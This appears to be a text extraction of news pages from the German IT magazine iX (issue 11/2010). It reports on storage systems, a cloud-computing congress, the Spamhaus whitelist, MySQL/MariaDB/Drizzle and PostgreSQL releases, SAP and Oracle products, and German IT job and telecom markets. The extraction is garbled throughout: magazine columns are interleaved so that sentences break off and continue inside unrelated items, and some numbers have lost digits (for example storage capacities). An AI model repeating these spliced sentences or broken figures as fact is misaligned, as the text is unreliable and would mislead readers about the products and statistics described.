HBAs (Host Bus Adapter), Switches und Directors, sollen 2011 auf den Markt kommen. Emulex, QLogic und Brocade haben bereits bekannt gegeben, dass die Produkte der nächsten Generationen dem neuen Standard entsprechen sollen. Damit sollen sie den steigenden Anforderungen in großen Umgebungen gewachsen sein etwa in Cloud-Rechenzentren, in Umgebungen mit Server- und Desktop-Virtualisierung sowie in Web-Serverfarmen, beim High-Defini - tion-video-streaming oder in RZs von mit SLAs (Service Level Agreements) arbeitenden Hosting-Providern. jetzt mit 6ˇGBit/s schnellem SAS (Serial Attached SCSI) statt 4-GBit/s-FC und können wie gehabt über 65ˇ000 Logical Devices darstellen. Gewachsen ist die mögliche Volume-Größe von 4 auf 60 TByte. Darf es gar nichts oder noch ein wenig mehr sein, heißt nun die Devise bei den internen Storage-Ressourcen, die als eigenständiger Speicher oder als Cache für die Virtualisierung externer Systeme dienen können: Während die USP V bis 1152 SATA- oder FC-Platten im 3,5"-Format schluckte, kommt die VSP mit null bis ,5"-SATA- (2 TByte) oder ,5"-SAS-Platten (146 bis 600 GByte) zurecht was den internen Cache auf bis zu 2,5 respektive 1,2 PByte erhöht. Zudem ist die Zahl der möglichen Ersatzlaufwerke von 40 auf 128 und die der SSDs von 128 auf 256 gestiegen. Auch der aus SDRAM bestehende Controller-Cache darf jetzt 32 GByte betragen. Passend zum Hardwareund Feature-Update der VSP hat Hitachi auch die Storage- Verwaltungssoftware Command Suite überarbeitet: Ver - sionˇ7 soll alle Möglichkeiten des neuen Systems ausreizen können ix 11/2010

31

32 MARKT + TRENDS Internet Der eco-verband blickt in die Zukunft Luftschlösser Achim Born Unter dem Motto Roads for Tomorrow informierte der eco-kongress in Köln über Internet-, Mobile- und Telekommunikations-Trends. Da durfte das allgegenwärtige Hype-Thema Cloud nicht fehlen. Selbst die Bundesregierung mischt künftig beim Cloud Computing mit, wie Stefan Schnorr auf der Veranstaltung des Verbands der deutschen Internetwirtschaft verdeutlichte. Der Ministerialdirigent, im Bundesministerium für Wirtschaft und Technologie (BMWi) für die Informationsgesellschaft und Medien zuständig, unterstrich den hohen Stellenwert, den das Thema in der künftigen IKT-Strategie (Deutschland Digital 2015) einnimmt. Zugleich kündigte er ein Aktionsprogramm unter Federführung seines Ministeriums an. Die erste Konkretisierung bildet ein bereits Anfang September vorgestellter Technologiewettbewerb Sichere Internet-Dienste Sicheres Cloud Computing für Mittelstand und öffentlichen Sektor (Trusted Cloud), gefördert mit rund 30 Mio. Euro. Einige der bis zum 14. Januar 2011 eingereichten Projektideen sollen im Rahmen der CeBIT 2011 (1. bis 5. März) zu sehen sein. Geschlossene proprietäre Systeme Laut Schnorr setzt der Bund beim Cloud Computing neben den Sicherheitsaspekten den Schwerpunkt auf Interoperabilität und rechtlich-organisatorische Fragen. Den Handlungsbedarf unterstrich STRATO-Mann René Wienholtz in seinem Beitrag Luftschlösser in der Cloud. Aktuel le Cloud-Computing-Angebote sind in der Regel geschlossene proprietäre Systeme, warnte der Chefinformatiker des Berliner Providers vor Lock-in -Gefahren. Eine Migration von Anwendungen erfordere großen Aufwand. Auch mangele es an globalen Standards über zarte Pflänzchen wie den LiSoG Cloud Reference Stack hinaus. Wienholtz ist überzeugt, dass die Cloud nur mithilfe globaler Standards eine echte Alternative zur eigenen Infrastruktur sein kann. Der Mangel an Standards hält die Unternehmen hierzulande jedoch nicht vom Cloud Computing ab. Die in Köln vorgestellten ersten Ergebnisse aus dem XaaS Check verdeutlichen dies (s. ix-links). Cloud Computing hat sich bei Unternehmen im deutschsprachigen Markt fest etabliert und findet breites Interesse, so Berater Wolfgang Martin, dessen Team gemeinsam mit der Forschungsgruppe serviceorientiertes Computing an der TU Darmstadt den Check vornahm. Ein gutes Drittel der 84 Befragten gab an, bereits Clouds einzusetzen. 17ˇ% planen dies für das Jahr 2011 und 18ˇ% für 2012 primär in der Hoffnung auf Kostensenkungen, bessere Skalierbarkeit und Verfüg bar keit sowie Steigerung der Flexibilität. Als mögliche Hemm schuhe stehen Bedenken hinsichtlich der Sicherheit und Vertraulichkeit im Vordergrund, gefolgt von rechtlichen und Compliance-Anforderungen. Aufblasbare Rechenzentren Wenig beeindruckt vom Cloud-Hype zeigt sich Rainer A.ˇH. von zur Mühlen, Chef der gleichnamigen Unternehmensberatung und seit fast 40 Jahren mit der Planung von Rechenzentren (RZ) Neudeutsch Data Center befasst. Der Berater sieht Unternehmen derzeit eher in ihre ei - genen Rechenzentren als in Cloud-Dienste investieren. An Fallbeispielen erklärte er, wie sich RZ-Aus- und Rückbauten flexibel gestalten lassen. Von zur Mühlen spricht von aufblasbaren, aber auch verkleinerungsfähigen Ballon-Rechenzentren, die künftig gefragt sind. Ein anderes Konzept, das der Berater propagiert, besteht in einer Art Dreifelderwirtschaft. Kühlen mit heißem Wasser Die Reserveräume entsprechen der landwirtschaftlichen Brachfläche und dienen dem ungestörten Aufbau neuer Technik. Im zweiten Teil laufen die aktuellen Produktivsysteme und in einem weiteren RZ-Abschnitt fristen betagte Systeme den letzten Teil ihres Lebenszyklus. Matthias Kaiserswerth, Direktor des IBM-Forschungszentrums in Rüschlikon, zeigte anhand des Projekts Aquasar, dass sich außer Luft auch bis zu 60ˇ C heißes Wasser zum Kühlen von Rechnerkomponenten eignet. Möglich macht das ein neuartiges System mit Mikrokanalkühlern auf der Rückseite der Chips. Mithilfe des eben etwas weniger heißen Wassers hält es die Betriebstemperatur auf den maximal erlaubten 80 bis 85 Grad besonders interessant für künftige 3D-Chipdesigns mit vertikal angeordneten Prozessorkernen. Gemeinsam mit der ETH Zürich haben die IBM-Forscher einen ersten Prototyp auf Basis des BladeCenter HS22 entwickelt. Für eine direkte Vergleichbarkeit sind im Gesamtsystem auch luftgekühlte BladeCenter-Server untergebracht. Die bisherigen Erfahrungen sind erfreulich: Das wassergekühlte System verbraucht rund 40ˇ% weniger Energie. Die Energiekosten sanken um mehr als die Hälfte auch weil die Abwärme mittels Wärmetauscher ins Gebäudeheizsystem der ETH Zürich gelangt. Außer zur Cloud und zu handfesten Rechenzentren vermittelte der eco-kongress auch Detailwissen über mobile (Tablet-)Geräte sowie Apps. Bettina Horster von der Vivai AG untermauerte wie gewohnt mit einem umfangreichen Zahlenwerk das Marktgeschehen auf dem Gebiet der intelligenten Handgeräte. Für die Beraterin zeigt besonders das iphone, dass die Verschränkung unterschiedlicher Dienste das größte Potenzial zu Neuentwicklungen birgt. Die Konvergenz findet quasi in der Hosentasche statt, und die wertvollste Ware, um die Firmen konkurrieren, ist das Adressbuch der Nutzer. Entsprechend gewinnen Endgerätehersteller mit ihren App-Stores an Einfluss. Eine eco-umfrage zeigt, dass zurzeit die weitaus meisten Marktbeobachter (78ˇ%) Apple hier auch in zwei Jahren als dominante Macht sehen. Entmündigte Medienkonsumenten Googles Android Market (36ˇ%) schließt in der Wertschätzung allerdings rasch auf. Nur 13ˇ% trauen derzeit Microsoft mit dem neuen Windows Mobileˇ7 eine führende Stellung zu. Entschieden ist für Horster das Rennen dennoch nicht, da Smartphones noch nicht den Massenmarkt erreicht hätten. RIM, Nokia, aber auch potenzielle neue Akteure wie das dark horse seien deshalb nicht vorschnell abzuschreiben. Jörg Kantel, oberster ITler beim Max-Planck-Institut für Wissenschaftsgeschichte, bezog im Anschluss wortmächtig Stellung gegen die Geschlossenheit von Plattformen wie dem ipad. Für Kantel, auf wellenreiter.de auch als Blogger unterwegs, tobt seit dem Be - stehen des Internet ein Kampf zwischen Nutzung zur Kom - munikation oder Distribution. Kantel, der sich ein offenes Wissensnetz wünscht, sieht die Anwender jedoch durch Beschränkungen, wie sie Apple auf dem ipad realisiert, als von der Medienbranche entmündigt an. (un) 32 ix 11/2010

33 Spamhaus startet Whitelist Spamhaus, bisher vor allem bekannt durch seine Anti-Spam- Blacklists, geht mit einem Whitelist-Projekt online (www. spamhauswhitelist.com). Damit soll man laut Spamhaus besser zwischen erwünschten und unerwünschten s unterscheiden können als bisher. s von Mailservern auf der Whitelist dürfen ungefiltert passieren, während solche von schwarzen Schafen wie bisher blockiert werden können. Nachgelagerte Filter müssten weniger s als zuvor nachbearbeiten. Das soll Rechenaufwand und Fehlerquote senken. Die Spamhaus-Whitelist soll qualifizierte Unternehmen wie Banken, Anwaltskanzleien und Fluggesellschaften sowie Krankenhäuser und Behörden aufnehmen. Die Mailserver großer Telekommunikationsunternehmen und Internet- Provider, die zusammen einen Großteil des -Verkehrs produzieren, schließt Spamhaus jedoch ebenso aus wie die Versender erwünschter Massenmails. Für die bevorzugte Behandlung solcher Absender müsste man also eine eigene Whitelist einrichten oder ein breiter angelegtes Projekt wie DNSWL nutzen. Um die Aufnahme in die Whitelist kann man sich noch nicht direkt bewerben. Während der Betaphase bis Ende 2010 nimmt sie nur Mitglieder auf, die von Whitelist-Account-Besitzern eingeladen werden. Ein Eintrag ist nicht möglich, wenn IP-Adresse oder Domain bereits auf der Blacklist stehen. Technisch gesehen funktioniert die Whitelist wie die Blacklist. Der Mailserver des Empfängers ermittelt den Status der Absender-IP-Adresse per DNS-Abfrage. Spamhaus hat im Rahmen seines Whitelist- Projekts neben der SWL für IPv4- und IPv6-Adressen die DWL für DKIM-authentifizierte Domainnamen eingerichtet. ix-umfrage: Dienstreisen kommen aus der Mode Dienstreisen sind zeitraubend, teuer und umweltbelastend, folgerichtig nutzen drei Viertel der Teilnehmer unserer letzten Online-Umfrage Alternativen wie Web- und Telefonkonferenzen (siehe Ergebnisse rechts). Bei der mit diesem Heft gestarteten Umfrage auf geht es um die Einschätzung von Datenschutzproblemen. KURZ NOTIERT Die abgeschlossene Umfrage im Detail: Last im Blick: BMC Software bringt eine neue Release von Control-M für das Workload Scheduling heraus. Die Version 7 umfasst Virtualisierungs- und Cloud- Funktionen. Ferner sind zusätzliche Audit- und Compliance-Features wie ein situationsabhängiges Recovery integriert. T-Mobile muss Werbung ändern: Sipgate hat vor dem OLG Hamburg ein Urteil erwirkt, dass T-Mobile verbietet, für den iphone-tarif mit Prädikaten wie Freier Internetzugang mit unbegrenzter Datenflatrate zu werben. ix 11/

34 MARKT + TRENDS Systeme/Datenbanken Neue Hex-Core-ftServer von Stratus MySQL und Nachfolger mit neuen Versionen Marathon everrun MX Ohne zusätzliche Hardwarekomponenten fehlertolerante Systeme aufbauen zu können, verspricht Marathon mit seiner Software everrun. Anfang Oktober 2010 hat das Unternehmen seine neue Version ever- Run MX vorgestellt. Sie bietet Erweiterungen der Vorversion, die ix im vorigen Jahr untersucht hatte (ix Special Cloud, Grid, Virtualisierung, S. 105). Zu den Neuerungen zählt die Unterstützung von SMP-Systemen und Prozessoren mit mehreren Kernen auch in virtuellen Maschinen. KURZ NOTIERT Klingen kreuzen: IBM plant BLADE Network Technologies zu übernehmen. Das Unternehmen ist spezialisiert auf Software und Geräte, die Daten und Transaktionen von und zu Servern übertragen. Geprüft: Transcend Informations 4ˇGByte große axeram-speichermodule (DDR3-2400, Dual-Channel) haben die XMP-Zertifizierung erhalten. Den Reigen seiner fehlertoleranten Server setzt Stratus mit einer neuen Generation fort. Der ftserver 6310 nutzt Intels Westmere-CPU, die mit sechs Kernen ausgestattet ist und bis zu 30ˇ% mehr Leistung erreichen soll als das bisherige Quad-Core-Modell (ix 9/09) ftserver Passend dazu hat Stratus noch ein fehlertolerantes Speichersystem ftsca - lable G2 herausgebracht. Es kann bis zu 72 Festplatten im 2,5-Zoll-Format aufnehmen und erreicht bis zu 36 Tera byte. Das zwei Höheneinheiten be - legende RAID-Array kann Fehler kontrollieren und automatisch erkennen sowie fehlerhafter Komponenten isolieren. Zudem bietet Stratus einen Call-Home-Service zur pro - aktiven Fehlerbehebung. Eine Spin-down-Funktion reduziert den Stromverbrauch bei in - aktiven Platten. EnviroStore erspart den Einsatz von Batterien durch eine Kombination aus Kondensatoren und Flash- Speicher. Der ftserver 6310 ist für Windows 2008 R2, Red Hat Enterprise Linux 5 und vsphere 4 verfügbar. Die ftserver unterstützen inzwischen HyperV von Microsoft. Auf der Ebene des Virtualisierers koppelt everrun MX zwei physische Server. Die darüber residierenden virtuellen Maschinen (VMs), in denen die Anwendungen implementiert sind, laufen synchron. Nach außen hin erscheinen die paarweise gekoppelten VMs wie ein Server. Grundvoraussetzung für die Konfiguration sind bis dato CPUs von Intel, die VT-d (für virtuelle Devices) unterstützen. Eine komplette Grundkonfiguration von everrun MX kostet rund 10ˇ000 US-$. Kosten nutzen: QuickStart, eine Software zum Einrichten der Zero Clients von Pano Logic, analysiert und prognostiziert den zu erwartenden Return on Investment (ROI) durch den Einsatz virtueller Desktops. Tischfein: Mit zwei neuen All-in-One-PCs will HP auf dem Schreibtisch aufräumen. Der Compaq SG2 und HPs Omni100 sind im Bildschirm integriert. HPs Compaq SG2 soll im November ab 439, Omni100 schon vorher ab 639 Euro erhältlich sein. Auf seiner Hausmesse Open- World (s. Seite 10) stellte Oracle den ersten Release-Kandidaten von MySQL 5.5 vor. Der Einfluss des neuen Eigentümers zeigt sich deutlich an der voreingestellten Datenbank- Engine: Statt des bisherigen MyISAM ist nun das transaktionsfähige InnoDB der De - fault. Durch asynchrones I/O unter Linux und mehrere Rollback-Segmente soll es deutlich schneller sein als bisher. Dazu haben auch Änderungen an der Thread-Implementierung beigetragen, die nun dedizierte Locks für einzelne Aufgaben verwendet. Neu in MySQL 5.5 sind SIGNAL/RESIGNAL zur standard konformen Behandlung von Fehlern in Stored Procedures. Informationen über interne Leistungsdaten des Servers lassen sich aus einem Performance-Schema abrufen. Aus dem Code der Vorgängerversion MySQL entwickelte sich das jetzt von Monty Widenius Firma vorgestellte MariaDB 5.2. Es enthält ebenfalls eine überarbeitete Thread-Programmierung für InnoDB. Mit einem Plug-in- Konzept für Authentifizierungsmodule hängt MariaDB den Ahnen jedoch ab. Eines der zurzeit mitgelieferten Plugins ermöglicht es angemeldeten Unix-Nutzern, sich ohne weitere Passwortabfrage mit dem Datenbank-Server zu verbinden. Da die Schnittstelle für die Plug-in-Technik offenliegt, sollten sich auch andere Verfahren wie LDAP zur Authentifizierung nutzen lassen. MariaDB bringt neben den üblichen zwei weitere Storage Engines mit: OQGRAPH für Daten, die sich in Graphen darstellen lassen, und SphinxSE für eine bessere Volltextsuche. Außerdem kann man im CRE - ATE TABLE-Statement berechnete Spalten ( Virtual Columns ) definieren. Auch von Drizzle, der ersten MySQL-Abspaltung, gibt es Neuigkeiten: Seine Entwickler haben eine Betaver - sion vorgestellt. Sie enthält ein Werkzeug zur Migration von MySQL-Daten, das off- und online nutzbar ist. Da Drizzle jetzt das Netzprotokoll von MySQL versteht, soll es sich in vielen Fällen direkt oder mit kleinen Anpassungen als Ersatz dafür nutzen lassen. Drizzle will zurück zu den Wurzeln von MySQL, indem es auf alle für Webanwendungen nicht nötigen Funktionen verzichtet. Es setzt ebenfalls auf InnoDB als Default-En - gine. In Zukunft wollen die Entwickler wie bei Postgre - SQL diverse Skriptsprachen zum Schreiben von Stored Procedures anbinden. Sicherheitsupdate für PostgreSQL Die Entwickler der freien Datenbank PostgreSQL haben für alle Versionen ab 7.4 ein Update bereitgestellt, das eine Sicherheitslücke schließt. Sie erlaubte es Anwendern, zur Laufzeit in Perl oder Tcl geschriebene Funktionen so zu modifizieren, dass sie beliebige Rechte erlangen konnten. Firebird 2.5 überarbeitet Multi-Threading Aus Entwicklersicht sind die Änderungen am Thread-Modell die wichtigste Neuerung in Version 2.5 der freien Datenbank Firebird. Anwender dürften auf den ersten Blick die neuen SQL-Kommandos bemerken. Dazu gehören CREATE/AL- TER/DROP USER zum Bearbeiten von Anmeldedaten, Befehle zum Ändern von Views sowie die Anwendung von AL- TER auf berechnete Spalten. SIMILAR TO erlaubt das Verwenden regulärer Ausdrücke in WHERE-Klauseln. Firebird 2.5 steht als Binärversion für Windows und Linux sowie im Quellcode zur Verfügung. In Zukunft wollen sich seine Entwickler auf neue Authentifizierungsmethoden, eine bessere Auslastung von Multi- Core-CPUs und C++/Java als Sprachen für Prozeduren konzentrieren ix 11/2010

35

36 MARKT + TRENDS Standardsoftware Anwender wollen bessere Infos von SAP Betaversion von Dynamics CRM 2011 KURZ NOTIERT Zertifiziert: ABBYY Europe, Anbieter von Techniken zur Dokumentenerkennung (Data Capture), und DocuWare bauen ihre Kooperation aus. Im Rahmen der Partnerschaft wurde ABBYYs DocuWare Connector für das Dokumentenmanagementsystem zertifiziert. Der Connector übergibt Dokumente und Daten via General Application Programming Interface (GAPI) an das DMS. Zusammengeführt: Progress Software hat die Geschäftsprozessfunktionen seines Produktes Savvion Business Process Management in die ebenfalls haus - eigene Applikationsplattform OpenEdge integriert. Das Kombipaket vermarktet man unter der Bezeichnung Progress OpenEdge BPM. Wissen on Demand: USUs KnowledgeCenterˇ5, eine Produktsuite für die Informationsbereitstellung in Bei IT-Managern ist SAPs Produkt-Roadmap, also verbindliche Informationen zu geplanten Produkten und ihren Erweiterungen, ein heißes Thema. Das ergab eine Umfrage unter den in der Deutschsprachigen SAP-Anwendergruppe (DSAG) zusammengeschlossenen CIOs (Chief Information Officer) im Sommer Je früher wir uns auf zuverlässige Informationen von SAP stützen können, desto besser können wir planen, so Werner Schwarz, CIO der Gerolsteiner Brunnen und Mitglied des CIO-Beirats der DSAG. Handlungsbedarf seitens SAP sehen die ITler zudem beim Preismodell. Sie empfinden die Preislisten und -metriken als zu komplex und nur teilweise mit der betriebswirtschaftlichen Realität ihres Unternehmens vereinbar. Mehr Flexibilität bei den Lizenzen würde helfen, den Einsatz von Produkten an sich wandelnde Unternehmensstrukturen anzupassen. Als wünschenswert erachten die Anwender zudem bedarfsorientierte Wartungspreise. Eine weitere Umfrage unter den DSAG-Mitgliedern offenbarte, dass der Standard Support nach wie vor hoch im Kurs steht. Über die Hälfte nutzt das einfachere Wartungsmodell, dessen Fortbestand erst nach einer beinharten Auseinandersetzung mit SAP durchgesetzt werden konnte. Fast 44ˇ% setzen auf den vom Hersteller propagierten Enterprise Support und etwas mehr als 5ˇ% pflegen eine gesonderte Vereinbarung für Großkunden. Allem Werben der SAP zum Trotz ist die Wechselbereitschaft der Anwender zum kostspieligeren Kundendienstmodell wenig ausgeprägt. Zum Stichtag Ende September planten gerade einmal 0,5ˇ% der Mitglieder den Wechsel zum Enterprise Support. Hingegen wollen 3ˇ% zur Standardvariante zurückkehren. Geschäftsprozessen, wird nun auch als externer Service angeboten. Die Wissendatenbank lässt sich nach dem SaaS-Modell bei USU abonnieren. Der Zugriff geschieht über einen Standard- Browser. Lukrativ: Nach einem Minus von 2,6 % im Jahr 2009 liegt der weltweite Markt für Unternehmenssoftware wieder auf Wachstumskurs. Laut Gartner soll das Volumen im laufenden Jahr weltweit um 4,5ˇ% auf rund 232 Mrd. Dollar steigen. Für 2014 prognostiziert das Beratungsunternehmen ein Volumen von 297 Mrd. Dollar. Schnelle Lieferung: Open Text verbindet seine Produkte Web Experience Management (ehemals Vignette Content Management) und Media Management. Ziel ist es, die Zeit zwischen dem Erstellen von Content und seiner Verbreitung zu verkürzen. Die publizierten Inhalte werden automatisch aktualisiert, wenn jemand etwas an ihnen ändert. Interessierte können sich die Betaversion von Microsofts Dynamics CRM 2011 herunterladen (crm2011beta.com). Die Software lässt sich in der Cloud oder lokal betreiben. Die Verzahnung mit Office ist wie in der Vorgängerversionen sehr eng. Beispielsweise kann der Anwender Outlook-Funktionen einbinden, etwa Vorschaufenster oder bedingte Formatierungen. Eine Menüleiste im Warten auf Oracles Fusion Applications Auf der Veranstaltung Open- World äußerte sich Oracle endlich konkret zu seinen Fusion Applications. Aus über 100 Modulen in sieben unterschiedlichen Produktfamilien sollen Anwender künftig auswählen können. Technische Basis der Java-Anwendungen ist die Fusion Middleware. Von On Premise bis hin zu Private Clouds, Public Clouds, Geschäftsprozess-Outsourcing oder verschiedenen Kombinationen will Oracle für die neue Anwendungsgeneration alle Betreibermodelle unterstützen. Fusion Apps sollen sich parallel zu anderen Programmen betreiben lassen. Damit will Oracle den Anwendern und sich SAP will nachhaltig werden On-Demand-Beschaffungsmanagement Design von Office 2010 soll die einheitliche Nutzerführung über alle Microsoft-Anwendungen hinweg sicherstellen. Entwickler können durch das integrierte.net Frameworkˇ4 eigene Applikationen oder Ergänzungen beisteuern. Über die neue Online-Plattform namens Dynamics Marketplace können sie ihre Arbeiten vermarkten. Noch in diesem Jahr soll das Rollout erfolgen. selbst den Übergang erleichtern. Allgemein freigegeben ist die neue Anwendungsgeneration noch nicht. Für Anfang 2011 hat der Hersteller die erste formale Release der Fusion Apps versprochen. Zuvor soll ein Programm für Early Adopters und Partner helfen, Erfahrungen mit der Software zu sammeln. Larry Ellison selbst rechnet laut US-Zeitschriften mit 50 bis 100 Anwendern, die sich in den ersten sechs Monaten 2011 in Richtung Fusion bewegen. Die zögerliche Freigabepolitik nach über fünf Jahren Entwicklungsarbeit erinnert stark an die Maßnahmen des Erzrivalen SAP rund um den SaaS-Entwurf Business ByDesign. SAP hat die Cloud-Software Carbon Impact OnDemand 5.0 vorgestellt. Mit ihr können Unternehmen ihren globalen Energieverbrauch sowie den CO 2 - Ausstoß überprüfbar berechnen. Zudem bietet Carbon Impact Benchmarks, Analysewerkzeuge und Verfahren zur Energieund CO 2 -Senkung in allen Unternehmensbereichen sowie der globalen Lieferkette. Die Vorlage lieferte der 2009 übernommene Spezialist Clear Standards. Grundlage ist SAPs neue Plattform für Cloud/SaaS-Anwendungen River. Die notwendige Rechenleistung liefert gegenwärtig Amazons EC2 weitere Clouds sollen folgen. In Kürze soll eine neue Version von SAPs Sourcing OnDemand erscheinen, die den kompletten Beschaffungsprozess abdeckt. Waveˇ7 bietet eine verbesserte Benutzeroberfläche, unterstützt mobile Endgeräte und integriert Tools aus SAPs BusinessObjects-Portfolio. Eingebaut sind Dashboards und das Reporting- Werkzeug Xcelsius, dessen Ansichten in Echtzeit modifizierbar sind. Erweiterte Funktionen zu Warengruppierungen, Preisgestaltung und Auktionen sollen das Beschaffungsmanagement erleichtern. Verbessert hat SAP auch das Vertragsmanagement: Ein durchsuchbares Verzeichnis bietet nun Zugang zu Dokumenten an unterschiedlichen Standorten, und in Rahmen- und Unterverträgen lassen sich mehrere Währungen verwalten. Zudem kann Waveˇ7 Lieferanteninformationen in mehreren ERP-Systemen veröffentlichen und replizieren. 36 ix 11/2010

37 MARKT + TRENDS Beruf/Systemmanagement Wieder mehr IT-Lehrstellen Nimsoft überwacht Vblock BITKOM rechnet in diesem Jahr wieder mit einer wachsenden Zahl von Lehrstellen in den IT-Berufen. Das hat eine aktuelle Umfrage bei ITK-Unternehmen sowie eine stichprobenartige Befragung der großen Industrie- und Handelskammern nach dem Start des Ausbildungsjahres ergeben. In Verbindung mit der jüngsten Konjunkturumfrage des Verbandes gaben beispielsweise ein Fünftel der Ausbildungsbetriebe an, dass sie 2010 zusätzliche Lehrstellen in den IT-Berufen anbieten, drei Viertel halten die Zahl der Ausbildungsplätze auf dem Niveau des Vorjahres. Bei den neu abgeschlossenen Ausbildungsverträgen erwartet BITKOM ein Plus von 5ˇ% auf rund 14ˇ500. Im vergangenen Jahr war die Zahl der neuen Ausbildungsplätze krisenbedingt noch um 13ˇ% auf 13ˇ760 zurückgegangen. Über die drei Ausbildungsjahrgänge hinweg gibt es derzeit rund 40ˇ000 Auszubildende in den IT-Berufen. Am beliebtesten ist die Ausbildung zum Fachinformatiker. Mit 23ˇ500 IT-Azubis entfällt mehr als die Hälfte aller Lehrstellen auf diesen Berufszweig. An zweiter Stelle liegen die kaufmännischen IT- Berufe mit 9100 Lehrstellen. Weitere 7200 werden als Systemelektroniker und System - informatiker ausgebildet. Honorar: Wunsch und Wirklichkeit Auf höhere Stundensätze dürfen die freiberuflichen IT-Profis hoffen. Nach einer Umfrage des Projektportals GULP aus dem August erhöhten sie ihre durchschnittlichen Honorarvorstellungen auf 71 Euro. Forderten im August 2009 noch 9,2ˇ% der IT-Selbstständigen weniger als 50ˇe, schrumpfte diese Gruppierung auf 8ˇ%. Dagegen legte das obere Mittelfeld zu. Der Anteil der Freelancer im Bereich zwischen 70 und 109ˇe nahm im vergangenen Jahr von 49,7ˇ% auf 50,8ˇ% zu. Auslöser für die leichte Steigerung sind vermutlich die erfreulichen Konjunkturaussichten sowie die seit Ende 2009 steigende Nachfrage nach externer Projektunterstützung. Allerdings zeigen sich Projekt - anbieter äußerst preissensibel. Darauf deuten weitere Ergebnisse der seit 1998 halbjährlich durchgeführten GULP- Stundensatzauswertung hin. Analysiert wurde hier unter anderem, welche Stundensatzforderung diejenigen IT-Freiberufler in ihr Profil eingetragen haben, die Projektanfragen erhalten. Dieser kontaktierte Stundensatz sank um einen Euro auf durchschnittlich 69ˇe. Ratgeber: Arbeitsmarkt der Ingenieure Das gesamte Spektrum der Arbeitsgebiete für (angehende) Ingenieure der Elektro- und Informationstechnik wird in der 17. Auflage des Ratgebers Arbeitsmarkt Elektrotechnik Informationstechnik beschrieben. Der VDE (Verband der Elektrotechnik Elektronik Informationstechnik), Herausgeber des Werkes, will damit Schülern und Studierenden der Informations- und Elektrotechnik Orientierungshilfen bei der Wahl der Studienfächer und -schwerpunkte anbieten. Es enthält darüber hinaus ein Verzeichnis von Unternehmen mit Ansprechpartnern in der Per - sonalabteilung sowie Bewerbungstipps. Der Ratgeber kann beim VDE kostenlos unter angefordert werden. Opsi 4.0 verfügbar Die Mainzer uib GmbH hat die Version 4.0 der Systemmanagement-Software Opsi freigegeben. Sie hat dem Open-Source- Produkt zum Verwalten von Windows-Clients komplett überarbeitete Datenstrukturen in den Backends, ein MySQL- Backend sowie eine hierar chi - sche Gruppenverwaltung namens Treeview spendiert. Opis 4.0 unterstützt außerdem durchgängig Unicode sowie Python-2.6-Distributionen. Die Steuerung der Installationsreihenfolge von Produkten lässt sich nun priorisieren. Neu ist Mobile Endgeräte managen HPs CSE for DMaaS (Cloud Services Enablement for De - vice Management as a Service) soll TK-Anbieter unterstützen, Kleinunternehmen und Mittelständlern das Managen verschiedener Betriebssysteme, Netzwerke und Applikationen auf mobilen Endgeräten zu erleichtern. Den Zugang stellt ein Webportal bereit. Unternehmen können mit dem Service kabellos neue Anwendungen auf mobile Endgeräte wie Notebooks und Smartphones aufspielen oder Fehler diagnostizieren. Außerdem lassen sich Sicherheitsrichtlinien umsetzen KURZ NOTIERT Ergänzt: Host Europe bietet künftig Public-Cloud-Produkte auf Basis von Hyper-V Nimsoft, seit dem Frühjahr 2010 ein Unternehmen von CA Technologies, erweitert sein Uni fied Monitoring. Nimsoft Monitoring Solution (NMS) ermöglicht nun gleichfalls eine umfassende Überwachung sogenannter Private Clouds auf der Basis von Vblock Infrastruc ture Packages. Der Hersteller spendierte NMS zusätzliche Komponenten für das Monitoring und eine schnelle Fehlerursachenanalyse in Vblock-Infrastrukturen. Dies betrifft die Temperatur- und Zugriffsüberwachung, die Kontrolle der physischen Sicherheit von Rack- Gehäusen sowie das Monitoring von Ciscos UCS-Blades (Unified Computing System), EMC- Speichersystemen (CLAR iion, Symmetrix usw.) sowie der Router, SAN-Switches und Nexus Softswitches von Cisco mit anderen Worten: alles, was die drei genannten Hersteller zum Vblock zu sammenstellen. Die Überwachung von Vblock offeriert CA als Option zu NMS oder Nimsoft On Demand (SaaS). ebenso der opsi-client-agent, der den preloginloader ablöst. MySQL-Backend und Treeview-Modul sind derzeit nur als kostenpflichtige Zusätze (kofinanzierte Projekte) für 2000 Euro und 500 Euro netto erhältlich. Opsi 4.0 ist für Debian, Ubuntu, OpenSUSE UCS (Univention Corporate Server), SLES (Suse Linux Enterprise Server), Red Hat (RHEL) und CentOS verfügbar. Die Managementsoftware läuft auf virtuellen Maschinen (VMware, Xen oder KVM) als Ablaufumgebung. und Backups anstoßen. Für dieses Cloud-Angebot nutzt HP seine Aggregation Platform for SaaS als Vermittlerschicht zwischen den Systemen zur Betriebs- und Geschäftsprozessunterstützung der TK- Anbieter auf der einen Seite, dem Mobile Device Management (MDM) in der Mitte sowie der IT-Umgebung des Geschäftskunden auf der anderen Seite. Das Kernstück von MDM stammt von Mforma - tion, die Backup- und Restore- Möglichkeiten von Storegate AB (Schweden), Soonr (USA) oder O3SIS (Deutschland). an, entwickelt mit Microsofts Dynamic Data Center Toolkit und verwaltet mit System Center als Management-Oberfläche. Als Hardware-Plattform dienen Dell-Server mit Intel-Prozessoren. ix 11/

38 MARKT + TRENDS Wirtschaft TK-Marktstudie 2010 Telekom dominiert Achim Born Ende 2010 werden fast 27 Millionen Breitband anschlüsse in Deutschland installiert sein. Das DSL-Wachstum verliert jedoch langsam, aber sicher an Fahrt. Trotzdem kann die Telekom ihren Anteil weiter steigern. In Deutschland sinken die Umsätze mit Telekommunikationsdiensten 2010 voraussichtlich auf rund 61 Mrd.ˇe. Das entspricht im Vergleich zum Vorjahr einem Rückgang um 1,3ˇ%. Nach vier Jahren mit sinkenden Umsätzen verbucht dagegen der Mobilfunk in diesem Jahr erstmals wieder ein leichtes Plus (+0,8ˇ% auf 24,3 Mrd.ˇe). So lauten die Ergebnisse der jüngsten TK-Marktstudie von VATM und Dialog Consult. Schwarz auf weiß kann man der Studie zudem entnehmen, dass 13 Jahre nach der vollständigen Liberalisierung die Telekom in dem um 3,5ˇ% rückläufigen TK-Festnetzmarkt mit 55ˇ% Umsatzanteil der marktbeherrschende Anbieter bleibt. Obwohl das ehemalige Staatsunternehmen in diesem Jahr voraussichtlich 1,7 Mrd.ˇe weniger Umsatz im Festnetzgeschäft erzielen wird, setzt es mit rund 18,1 Mrd.ˇe genauso viel um wie sämtliche Wettbewerber inklusive der Kabelanbieter. Die ungebrochene Dominanz des Ex-Monopolisten zeigt sich ebenso im DSL- Markt. Der Anteil am Neukundengeschäft (Nettozuwachs) der Telekom soll in diesem Jahr rund zwei Drittel betragen. Mit 11,5 Mio. DSL-Kunden hat der Bonner Konzern 2009 immer noch fast 